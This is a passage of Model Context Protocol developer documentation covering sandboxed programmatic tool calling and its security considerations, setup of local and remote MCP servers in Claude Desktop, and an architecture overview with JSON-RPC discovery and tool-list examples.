```typescript theme={null}
// Model-generated code, executes in sandbox
const logs = await logging_getLogs({
level: "error",
since: Date.now() - 3600000,
});
// Filter and deduplicate inside the sandbox, not in the model's context
const uniqueErrors = new Map();
for (const log of logs.entries) {
if (!uniqueErrors.has(log.message)) {
uniqueErrors.set(log.message, log);
}
}
for (const [message, log] of uniqueErrors) {
await ticketing_createIssue({
title: `Error: ${message}`,
body: `First seen: ${log.timestamp}\nOccurrences: ${
logs.entries.filter((l) => l.message === message).length
}`,
priority: "high",
});
}
console.log(
`Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
);
```
**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
### Choosing a Sandbox
The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
| Sandboxed language | Runtime / Library | Host language | Approach |
| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
### Execution Architecture
The implementation has three components:
```mermaid theme={null}
flowchart LR
subgraph Host["MCP Host"]
A[LLM] -->|writes code| B[Sandbox]
B -->|function call| C[MCP Client]
C -->|return value| B
B -->|console output| A
end
C -->|tool call| D[MCP Server A]
C -->|tool call| E[MCP Server B]
D -->|result| C
E -->|result| C
```
**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
### Security Considerations
Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2026-07-28/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
### Error Handling
MCP tool errors arrive as a successful response with
[`isError: true`](/specification/2026-07-28/server/tools#error-handling) rather than a transport
failure. Generated wrappers should convert this into a thrown exception so model-authored code
can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
result so the model can self-correct; the model is responsible for reporting any partial side
effects already committed.
## Combining Both Patterns
Progressive discovery and programmatic tool calling work well together. The model uses discovery tools to identify which tools it needs, loads their schemas, and then writes a single script that calls multiple tools in one execution pass. This combination minimizes both the token cost of tool definitions *and* the token cost of tool results, keeping the model's context focused on reasoning rather than passing data through it.
# Connect to local MCP servers
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/connect-local-servers
Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations
Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications.
This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the many clients that support MCP. While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action.
## Prerequisites
Before starting this tutorial, ensure you have the following installed on your system:
### Claude Desktop
Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows.
If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..."
### Node.js
The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running:
```bash theme={null}
node --version
```
If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability.
## Understanding MCP Servers
MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for:
* Reading file contents and directory structures
* Creating new files and directories
* Moving and renaming files
* Searching for files by name or content
All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify.
## Installing the Filesystem Server
The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them.
Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..."
On macOS, this appears in the top menu bar:
This opens the Claude Desktop configuration window, which is separate from your Claude account settings.
In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features.
Click the "Edit Config" button to open the configuration file:
This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at:
* **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`
* **Windows**: `%APPDATA%\Claude\claude_desktop_config.json`
Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories:
```json macOS theme={null}
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/Users/username/Desktop",
"/Users/username/Downloads"
]
}
}
}
```
```json Windows theme={null}
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"C:\\Users\\username\\Desktop",
"C:\\Users\\username\\Downloads"
]
}
}
}
```
Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed.
**Understanding the Configuration**
* `"filesystem"`: A friendly name for the server that appears in Claude Desktop
* `"command": "npx"`: Uses Node.js's npx tool to run the server
* `"-y"`: Automatically confirms the installation of the server package
* `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server
* The remaining arguments: Directories the server is allowed to access
**Security Consideration**
Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually.
After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server.
Upon successful restart, click the "Add files, connectors, and more /" indicator in the bottom-left corner of the conversation input box:
Click on this indicator, then move the mouse over "Connectors" and click "Manage connectors". Select "filesystem" from the connector list to view the Filesystem Server's available tools:
If the Filesystem Server doesn't connect, refer to the [Troubleshooting](#troubleshooting) section for debugging steps.
## Using the Filesystem Server
With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities:
### File Management Examples
* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop
* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents
* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it
### How Approval Works
Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions:
Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action.
## Troubleshooting
If you encounter issues setting up or using the Filesystem Server, these solutions address common problems:
1. Restart Claude Desktop completely
2. Check your `claude_desktop_config.json` file syntax
3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative
4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting
5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors:
```bash macOS/Linux theme={null}
npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads
```
```powershell Windows theme={null}
npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads
```
Claude.app logging related to MCP is written to log files in:
* macOS: `~/Library/Logs/Claude`
* Windows: `%APPDATA%\Claude\logs`
* `mcp.log` will contain general logging about MCP connections and connection failures.
* Files named `mcp-server-SERVERNAME.log` will contain the stderr output from the named server. Stdio servers may use stderr for all their logging, so these files are not limited to errors.
You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs):
```bash macOS/Linux theme={null}
tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
```
```powershell Windows theme={null}
type "%APPDATA%\Claude\logs\mcp*.log"
```
If Claude attempts to use the tools but they fail:
1. Check Claude's logs for errors
2. Verify your server builds and runs without errors
3. Try restarting Claude Desktop
Please refer to our [debugging guide](/docs/2026-07-28/tools/debugging) for better debugging tools and more detailed guidance.
If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`:
```json theme={null}
{
"brave-search": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-brave-search"],
"env": {
"APPDATA": "C:\\Users\\user\\AppData\\Roaming\\",
"BRAVE_API_KEY": "..."
}
}
}
```
With this change in place, launch Claude Desktop once again.
**npm should be installed globally**
The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command:
```bash theme={null}
npm install -g npm
```
## Next Steps
Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup:
Browse our collection of official and community-created MCP servers for
additional capabilities
Create custom MCP servers tailored to your specific workflows and
integrations
Learn how to connect Claude to remote MCP servers for cloud-based tools and
services
Dive deeper into how MCP works and its architecture
# Connect to remote MCP Servers
Source: https://modelcontextprotocol.io/docs/2026-07-28/develop/connect-remote-servers
Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources
Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources.
Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the many clients that support MCP. While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients.
## Understanding Remote MCP Servers
Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service.
The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication.
## What are Custom Connectors?
Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools.
With Custom Connectors, you can:
* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers
* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers)
## Connecting to a Remote MCP Server
The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server.
Open Claude Desktop or Claude in your browser, then navigate to the settings page:
* **Desktop**: Either use the keyboard shortcut `Ctrl+Comma` or click the top-left menu icon , hover over "File", and select "Settings"
* **Browser**: Either use the keyboard shortcut `⌘⇧,` (*macOS*) or click on your profile icon, and select "Settings" from the menu
Once you're in the settings page, click "Connectors" in the sidebar. This displays your currently configured connectors and provides options for adding new ones.
In the Connectors section, click the "Add" button at the top-right of the window, then select "Add custom connector" from the dropdown. This begins the connection process. To follow along, copy/paste the URL below:
```text Example Remote Server theme={null}
https://example-server.modelcontextprotocol.io/mcp
```
A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components.
After entering the URL, click "Add" to proceed with the connection.
Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations.
Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server.
After successful connection, the remote server’s resources and prompts become available in your Claude conversations. You can access these by clicking the "Add files, connectors, and more /" indicator in the bottom-left corner of the message input area. Then hover over "Connectors", move the cursor over "Add to Example Remote Server", where hovering displays the attachment menu.
The menu displays all available resources and prompts from your connected server. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools.
Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized.
Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs.
## Best Practices for Using Remote MCP Servers
When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience:
**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems.
**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure.
## Next Steps
Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows.
Create custom remote MCP servers to integrate with proprietary tools and
services
Browse our collection of official and community-created MCP servers
Learn how to connect Claude Desktop to local MCP servers for direct system
access
Dive deeper into how MCP works and its architecture
Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently.
# What is the Model Context Protocol (MCP)?
Source: https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro
MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.
Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.
Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.
## What can MCP enable?
* Agents can access your Google Calendar and Notion, acting as a more personalized AI assistant.
* Claude Code can generate an entire web app using a Figma design.
* Enterprise chatbots can connect to multiple databases across an organization, empowering users to analyze data using chat.
* AI models can create 3D designs on Blender and print them out using a 3D printer.
## Why does MCP matter?
Depending on where you sit in the ecosystem, MCP can have a range of benefits.
* **Developers**: MCP reduces development time and complexity when building, or integrating with, an AI application or agent.
* **AI applications or agents**: MCP provides access to an ecosystem of data sources, tools and apps which will enhance capabilities and improve the end-user experience.
* **End-users**: MCP results in more capable AI applications or agents which can access your data and take actions on your behalf when necessary.
## Broad ecosystem support
MCP is an open protocol supported across a wide range of clients and servers. AI assistants like [Claude](https://claude.com/docs/connectors/building) and [ChatGPT](https://developers.openai.com/api/docs/mcp/), development tools like [Visual Studio Code](https://code.visualstudio.com/docs/copilot/chat/mcp-servers), [Cursor](https://cursor.com/docs/context/mcp), [MCPJam](https://docs.mcpjam.com/getting-started), and many others all support MCP — making it easy to build once and integrate everywhere.
## Start Building
Create MCP servers to expose your data and tools
Develop applications that connect to MCP servers
Build interactive apps that run inside AI clients
## Learn more
Learn the core concepts and architecture of MCP
# Architecture overview
Source: https://modelcontextprotocol.io/docs/2026-07-28/learn/architecture
This overview of the Model Context Protocol (MCP) discusses its [scope](#scope) and [core concepts](#concepts-of-mcp), and provides an [example](#example) demonstrating each core concept.
Because MCP SDKs abstract away many concerns, most developers will likely find the [data layer protocol](#data-layer-protocol) section to be the most useful. It discusses how MCP servers can provide context to an AI application.
For specific implementation details, please refer to the documentation for your [language-specific SDK](/docs/2026-07-28/sdk).
## Scope
The Model Context Protocol includes the following projects:
* [MCP Specification](https://modelcontextprotocol.io/specification/latest): A specification of MCP that outlines the implementation requirements for clients and servers.
* [MCP SDKs](/docs/2026-07-28/sdk): SDKs for different programming languages that implement MCP.
* **MCP Development Tools**: Tools for developing MCP servers and clients, including the [MCP Inspector](https://github.com/modelcontextprotocol/inspector)
* [MCP Reference Server Implementations](https://github.com/modelcontextprotocol/servers): Reference implementations of MCP servers.
MCP focuses solely on the protocol for context exchange—it does not dictate
how AI applications use LLMs or manage the provided context.
## Concepts of MCP
### Participants
MCP follows a client-server architecture where an MCP host — an AI application like [Claude Code](https://www.anthropic.com/claude-code) or [Claude Desktop](https://www.claude.ai/download) — establishes connections to one or more MCP servers. The MCP host accomplishes this by creating one MCP client for each MCP server. Each MCP client maintains a dedicated connection with its corresponding MCP server.
Local MCP servers that use the STDIO transport typically serve a single MCP client, whereas remote MCP servers that use the Streamable HTTP transport will typically serve many MCP clients.
The key participants in the MCP architecture are:
* **MCP Host**: The AI application that coordinates and manages one or multiple MCP clients
* **MCP Client**: A component that maintains a connection to an MCP server and obtains context from an MCP server for the MCP host to use
* **MCP Server**: A program that provides context to MCP clients
**For example**: Visual Studio Code acts as an MCP host. When Visual Studio Code establishes a connection to an MCP server, such as the [Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/), the Visual Studio Code runtime instantiates an MCP client object that maintains the connection to the Sentry MCP server.
When Visual Studio Code subsequently connects to another MCP server, such as the [local filesystem server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem), the Visual Studio Code runtime instantiates an additional MCP client object to maintain this connection.
```mermaid theme={null}
graph TB
subgraph "MCP Host (AI Application)"
Client1["MCP Client 1"]
Client2["MCP Client 2"]
Client3["MCP Client 3"]
Client4["MCP Client 4"]
end
ServerA["MCP Server A - Local (e.g. Filesystem)"]
ServerB["MCP Server B - Local (e.g. Database)"]
ServerC["MCP Server C - Remote (e.g. Sentry)"]
Client1 ---|"Dedicated connection"| ServerA
Client2 ---|"Dedicated connection"| ServerB
Client3 ---|"Dedicated connection"| ServerC
Client4 ---|"Dedicated connection"| ServerC
```
Note that **MCP server** refers to the program that serves context data, regardless of
where it runs. MCP servers can execute locally or remotely. For example, when
Claude Desktop launches the [filesystem
server](https://github.com/modelcontextprotocol/servers/tree/main/src/filesystem),
the server runs locally on the same machine because it uses the STDIO
transport. This is commonly referred to as a "local" MCP server. The official
[Sentry MCP server](https://docs.sentry.io/product/sentry-mcp/) runs on the
Sentry platform, and uses the Streamable HTTP transport. This is commonly
referred to as a "remote" MCP server.
### Layers
MCP consists of two layers:
* **Data layer**: Defines the JSON-RPC based protocol for client-server communication, including capability and version discovery, and core primitives, such as tools, resources, prompts and notifications.
* **Transport layer**: Defines the communication mechanisms and channels that enable data exchange between clients and servers, including transport-specific connection establishment, message framing, and authorization.
Conceptually the data layer is the inner layer, while the transport layer is the outer layer.
#### Data layer
The data layer implements a [JSON-RPC 2.0](https://www.jsonrpc.org/) based exchange protocol that defines the message structure and semantics.
This layer includes:
* **Discovery**: Lets clients query a server's supported protocol versions, capabilities, and identity through the `server/discover` request
* **Server features**: Enables servers to provide core functionality including tools for AI actions, resources for context data, and prompts for interaction templates from and to the client
* **Client features**: Enables servers to elicit input from the user. Sampling is [deprecated](/specification/2026-07-28/deprecated) as of protocol version `2026-07-28`.
* **Utility features**: Supports additional capabilities like notifications for real-time updates and progress tracking for long-running operations
#### Transport layer
The transport layer manages communication channels and authentication between clients and servers. It handles connection establishment, message framing, and secure communication between MCP participants.
MCP supports two transport mechanisms:
* **Stdio transport**: Uses standard input/output streams for direct process communication between local processes on the same machine, providing optimal performance with no network overhead.
* **Streamable HTTP transport**: Uses HTTP POST for client-to-server messages with optional Server-Sent Events for streaming capabilities. This transport enables remote server communication and supports standard HTTP authentication methods including bearer tokens, API keys, and custom headers. MCP recommends using OAuth to obtain authentication tokens.
The transport layer abstracts communication details from the protocol layer, enabling the same JSON-RPC 2.0 message format across all transport mechanisms.
### Data Layer Protocol
A core part of MCP is defining the schema and semantics between MCP clients and MCP servers. Developers will likely find the data layer — in particular, the set of [primitives](#primitives) — to be the most interesting part of MCP. It is the part of MCP that defines the ways developers can share context from MCP servers to MCP clients.
MCP uses [JSON-RPC 2.0](https://www.jsonrpc.org/) as its underlying RPC protocol. Client and servers send requests to each other and respond accordingly. Notifications can be used when no response is required.
#### Statelessness and discovery
MCP is a stateless protocol. Every request carries the protocol version and the capabilities relevant to that request in its `_meta` field, so the server can process each request on its own. Clients should also identify themselves in the same field unless configured not to. Servers advertise their supported versions and capabilities through the mandatory [`server/discover`](/specification/2026-07-28/server/discover) request, which clients may send before any other request. Detailed information can be found in the [specification](/specification/2026-07-28/basic/index#statelessness), and the [example](#example) showcases the per-request metadata and the discovery sequence.
#### Primitives
MCP primitives are the most important concept within MCP. They define what clients and servers can offer each other. These primitives specify the types of contextual information that can be shared with AI applications and the range of actions that can be performed.
MCP defines three core primitives that *servers* can expose:
* **Tools**: Executable functions that AI applications can invoke to perform actions (e.g., file operations, API calls, database queries)
* **Resources**: Data sources that provide contextual information to AI applications (e.g., file contents, database records, API responses)
* **Prompts**: Reusable templates that help structure interactions with language models (e.g., system prompts, few-shot examples)
Each primitive type has associated methods for discovery (`*/list`), retrieval (`*/get`), and in some cases, execution (`tools/call`).
MCP clients will use the `*/list` methods to discover available primitives. For example, a client can first list all available tools (`tools/list`) and then execute them. This design allows listings to be dynamic.
As a concrete example, consider an MCP server that provides context about a database. It can expose tools for querying the database, a resource that contains the schema of the database, and a prompt that includes few-shot examples for interacting with the tools.
For more details about server primitives see [server concepts](./server-concepts).
MCP also defines primitives that *clients* can expose. These primitives allow MCP server authors to build richer interactions.
* **Elicitation**: Allows servers to request additional information from users. This is useful when server authors want to get more information from the user, or ask for confirmation of an action. Servers request user input with the `elicitation/create` method.
Elicitation requests are delivered through the [Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) pattern, explained in the [elicitation overview](/docs/2026-07-28/learn/client-concepts#elicitation).
**Deprecated**: The following client primitives are deprecated as of protocol version `2026-07-28`.
* **Sampling**: Allows servers to request language model completions from the client's AI application. This is useful when server authors want access to a language model, but want to stay model-independent and not include a language model SDK in their MCP server. Servers request completions with the `sampling/createMessage` method, also delivered through the Multi Round-Trip Requests pattern. New implementations should integrate directly with LLM provider APIs.
* **Logging**: Enables servers to send log messages to clients for debugging and monitoring purposes. New implementations should log to `stderr` (stdio transport) or use OpenTelemetry.
For more details about client primitives see [client concepts](./client-concepts).
Besides server and client primitives, the protocol supports optional [extensions](/extensions/overview) that build on the core protocol. For example, the [Tasks extension](/extensions/tasks/overview) lets servers return a durable handle for long-running requests, so clients can poll for status and retrieve the result later.
#### Notifications
The protocol supports real-time notifications to enable dynamic updates between servers and clients. For example, when a server's available tools change (such as when new functionality becomes available or existing tools are modified), the server can send tool update notifications to inform connected clients about these changes. Notifications are sent as JSON-RPC 2.0 notification messages (without expecting a response). Change notifications are opt-in: the client opens a long-lived [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream naming the notification types it wants to receive, and the server delivers matching notifications on that stream.
## Example
### Data Layer
This section provides a step-by-step walkthrough of an MCP client-server interaction, focusing on the data layer protocol. We'll demonstrate discovery, tool operations, and notifications using JSON-RPC 2.0 messages.
As described in the [statelessness and discovery](#statelessness-and-discovery) section, every MCP request carries the protocol version and client capabilities in its `_meta` field, and clients should also include their identity there. A client that wants to learn what a server supports before issuing other requests sends a `server/discover` request, which every server must implement. The discovery response is typically cacheable, meaning it can be re-used so the discovery flow does not need to be performed for every request.
```json Discover Request theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "server/discover",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "example-client",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}
}
}
}
}
```
```json Discover Response theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"supportedVersions": ["2026-07-28"],
"capabilities": {
"tools": {
"listChanged": true
},
"resources": {}
},
"_meta": {
"io.modelcontextprotocol/serverInfo": {
"name": "example-server",
"version": "1.0.0"
}
},
"ttlMs": 3600000,
"cacheScope": "public"
}
}
```
#### Understanding the Discovery Exchange
The `_meta` fields and the discovery response together serve several purposes:
1. **Protocol Version Selection**: The `io.modelcontextprotocol/protocolVersion` field declares the version the client is speaking on this request, and `supportedVersions` in the response lists the versions the server accepts. If a server does not support the requested version, it rejects the request with an `UnsupportedProtocolVersionError` listing the versions it does support, and the client retries with a mutually supported version.
2. **Capability Discovery**: The client declares its capabilities in `io.modelcontextprotocol/clientCapabilities` on every request, and the server returns its own `capabilities` object from `server/discover`. This tells each party which [primitives](#primitives) the other can handle (tools, resources, prompts) and whether change [notifications](#notifications) are available, so unsupported operations are never attempted.
3. **Identity Exchange**: The `io.modelcontextprotocol/clientInfo` field in the request's `_meta` and the `io.modelcontextprotocol/serverInfo` field in the result's `_meta` provide identification and versioning information for debugging and compatibility purposes.
In this example, the exchange demonstrates how MCP capabilities are declared:
**Client Capabilities**:
* `"elicitation": {}` - The client declares it can gather additional input from the user when the server requests it
**Server Capabilities**:
* `"tools": {"listChanged": true}` - The server supports the tools primitive and can honor a `toolsListChanged` filter in [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions). Clients that request this filter receive `notifications/tools/list_changed` when the tool list changes.
* `"resources": {}` - The server also supports the resources primitive (can handle `resources/list` and `resources/read` methods)
Calling `server/discover` is optional. Because every request carries the same `_meta` fields, a client is free to send any request directly and handle a version error if one comes back. Discovery is a convenient way to fetch the server's identity, capabilities, and supported versions in a single request.
#### How This Works in AI Applications
The AI application's MCP client manager connects to configured servers and stores their discovered capabilities for later use. The application uses this information to determine which servers can provide specific types of functionality (tools, resources, prompts) and whether they support real-time updates. In the Python SDK, discovery happens while the client connects. The results are then available on the client object.
```python Pseudo-code for AI application discovery theme={null}
# Pseudo Code
async with Client(stdio_client(server_config)) as client:
if client.server_capabilities.tools:
app.register_mcp_server(client, supports_tools=True)
app.set_server_ready(client)
```
The client can discover available tools by sending a `tools/list` request. This request is fundamental to MCP's tool discovery mechanism: it allows clients to understand what tools are available on the server before attempting to use them.
```json Tools List Request theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/list",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "example-client",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}
}
}
}
}
```
```json Tools List Response theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "complete",
"tools": [
{
"name": "calculator_arithmetic",
"title": "Calculator",
"description": "Perform mathematical calculations including basic arithmetic, trigonometric functions, and algebraic operations",
"inputSchema": {
"type": "object",
"properties": {
"expression": {
"type": "string",
"description": "Mathematical expression to evaluate (e.g., '2 + 3 * 4', 'sin(30)', 'sqrt(16)')"
}
},
"required": ["expression"]
}
},
{
"name": "weather_current",
"title": "Weather Information",
"description": "Get current weather information for any location worldwide",
"inputSchema": {
"type": "object",
"properties": {
"location": {
"type": "string",
"description": "City name, address, or coordinates (latitude,longitude)"
},
"units": {
"type": "string",
"enum": ["metric", "imperial", "kelvin"],
"description": "Temperature units to use in response",
"default": "metric"
}
},
"required": ["location"]
}
}
],
"ttlMs": 300000,
"cacheScope": "public"
}
}
```
#### Understanding the Tool Discovery Request
The `tools/list` request requires no parameters beyond the standard `_meta` fields that accompany every MCP request. It also accepts an optional `cursor` parameter for [pagination](/specification/2026-07-28/server/utilities/pagination), which the example above omits.
#### Understanding the Tool Discovery Response
The response contains a `tools` array that provides comprehensive metadata about each available tool. This array-based structure allows servers to expose multiple tools simultaneously while maintaining clear boundaries between different functionalities.
Each tool object in the response includes several key fields:
* **`name`**: A unique identifier for the tool within the server's namespace. This serves as the primary key for tool execution and should follow a clear naming pattern (e.g., `calculator_arithmetic` rather than just `calculate`)
* **`title`**: A human-readable display name for the tool that clients can show to users
* **`description`**: Detailed explanation of what the tool does and when to use it
* **`inputSchema`**: A JSON Schema that defines the expected input parameters, enabling type validation and providing clear documentation about required and optional parameters
The result is marked `"resultType": "complete"` and carries two caching fields. `ttlMs` is a freshness hint in milliseconds, so this tool list can be cached for five minutes. `cacheScope` indicates who may reuse the response. The specification's [caching utility](/specification/2026-07-28/server/utilities/caching) defines the full rules.
#### How This Works in AI Applications
The AI application fetches available tools from all connected MCP servers and combines them into a unified tool registry that the language model can access. This allows the LLM to understand what actions it can perform and automatically generates the appropriate tool calls during conversations.
```python Pseudo-code for AI application tool discovery theme={null}
# Pseudo-code using MCP Python SDK patterns
available_tools = []
for client in app.mcp_clients():
